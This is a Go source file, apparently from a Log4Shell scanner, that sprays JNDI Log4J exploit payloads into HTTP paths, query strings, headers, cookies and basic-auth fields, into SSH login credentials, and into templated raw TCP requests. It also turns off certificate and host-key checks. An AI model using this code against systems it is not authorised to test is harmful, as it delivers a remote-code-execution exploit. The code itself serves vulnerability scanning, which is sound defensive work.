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fuzzers.go
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fuzzers.go
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package l9l4gfuzz
import (
"bytes"
"context"
"crypto/tls"
"errors"
"golang.org/x/crypto/ssh"
"io"
"net"
"net/http"
"net/url"
"time"
)
func (f *fuzzer) FuzzUrl(inputUrl string) (err error) {
parsedUrl, err := url.ParseRequestURI(inputUrl)
if err != nil {
parsedUrl, err = url.ParseRequestURI("tcp://" + inputUrl)
if err != nil {
return err
}
}
if f.requestTemplate != nil {
//TCP mode
return f.FuzzTemplate(parsedUrl)
}
switch parsedUrl.Scheme {
case "http":
return f.FuzzHttp(parsedUrl)
case "https":
return f.FuzzHttp(parsedUrl)
case "ssh":
return f.FuzzSSH(parsedUrl)
}
return ErrNoFuzzerForScheme
}
func (f *fuzzer) FuzzHttp(parsedUrl *url.URL) (err error) {
ctx, ctxCancel := context.WithTimeout(context.Background(), f.timeout)
defer ctxCancel()
sourceUrl := parsedUrl.String()
if len(parsedUrl.Path) < 1 || parsedUrl.Path == "/" {
parsedUrl.Path = "/" + f.PayloadJNDILog4J(sourceUrl, "http-url-path")
}
parsedUrl.RawQuery = f.PayloadJNDILog4J(sourceUrl, "http-url-query-key") + "=" + f.PayloadJNDILog4J(sourceUrl, "http-url-query-value")
req, err := http.NewRequestWithContext(ctx, http.MethodGet, parsedUrl.String(), nil)
if err != nil {
return
}
req.Header.Set("User-Agent", f.PayloadJNDILog4J(sourceUrl, "http-user-agent"))
req.Header.Set("Cookie", f.PayloadJNDILog4J(sourceUrl, "http-cookie-key")+"="+f.PayloadJNDILog4J(sourceUrl, "http-cookie-value"))
req.Header.Set("Cache-Control", f.PayloadJNDILog4J(sourceUrl, "http-header-cache-control"))
req.Header.Set("X-LeakIX", f.PayloadJNDILog4J(sourceUrl, "http-header-random"))
req.Header.Set("X-Forwarded-For", f.PayloadJNDILog4J(sourceUrl, "http-header-x-forwarded-for"))
req.Header.Set("X-Duplicate", f.PayloadJNDILog4J(sourceUrl, "http-header-dup1"))
req.Header.Set("X-Duplicate", f.PayloadJNDILog4J(sourceUrl, "http-header-dup2"))
req.SetBasicAuth(f.PayloadJNDILog4J(sourceUrl, "http-auth-basic-user"), f.PayloadJNDILog4J(sourceUrl, "http-auth-basic-password"))
resp, err := HttpClient().Do(req)
if err != nil {
return err
}
if resp != nil && resp.Body != nil {
defer resp.Body.Close()
}
_, err = io.Copy(io.Discard, resp.Body)
return err
}
func (f *fuzzer) FuzzSSH(parsedUrl *url.URL) (err error) {
host := parsedUrl.Hostname()
port := "22"
if parsedUrl.Port() != "" {
port = parsedUrl.Port()
}
conn, err := f.l9Helper.GetNetworkConnection("tcp", net.JoinHostPort(host, port))
if err != nil {
return
}
defer conn.Close()
_, _, _, err = ssh.NewClientConn(conn, net.JoinHostPort(host, port), &ssh.ClientConfig{
User: f.PayloadJNDILog4J(parsedUrl.String(), "ssh-user"),
Auth: []ssh.AuthMethod{
ssh.Password(f.PayloadJNDILog4J(parsedUrl.String(), "ssh-password")),
},
HostKeyCallback: func(_ string, _ net.Addr, key ssh.PublicKey) error {
return nil
},
BannerCallback: func(message string) error {
return nil
},
Timeout: f.timeout,
})
return err
}
func (f *fuzzer) FuzzTemplate(parsedUrl *url.URL) (err error) {
host := parsedUrl.Hostname()
if parsedUrl.Port() == "" {
return errors.New("not port for generic tcp")
}
var buffer bytes.Buffer
err = f.requestTemplate.Execute(&buffer, struct {
Url *url.URL
Fuzzer *fuzzer
}{
Url: parsedUrl,
Fuzzer: f,
})
conn, err := f.l9Helper.GetNetworkConnection("tcp", net.JoinHostPort(host, parsedUrl.Port()))
if err != nil {
return
}
defer conn.Close()
// Upgrade to TLS if scheme is https/ssl or tls
if parsedUrl.Scheme == "https" || parsedUrl.Scheme == "ssl" || parsedUrl.Scheme == "tls" {
err = conn.SetDeadline(time.Now().Add(f.timeout))
if err != nil {
return
}
conn = tls.Client(conn,
// #nosec because we're a scanner
&tls.Config{InsecureSkipVerify: true, ServerName: host},
)
err = conn.(*tls.Conn).Handshake()
if err != nil {
return
}
}
err = conn.SetDeadline(time.Now().Add(f.timeout))
if err != nil {
return err
}
_, err = conn.Write(buffer.Bytes())
return err
}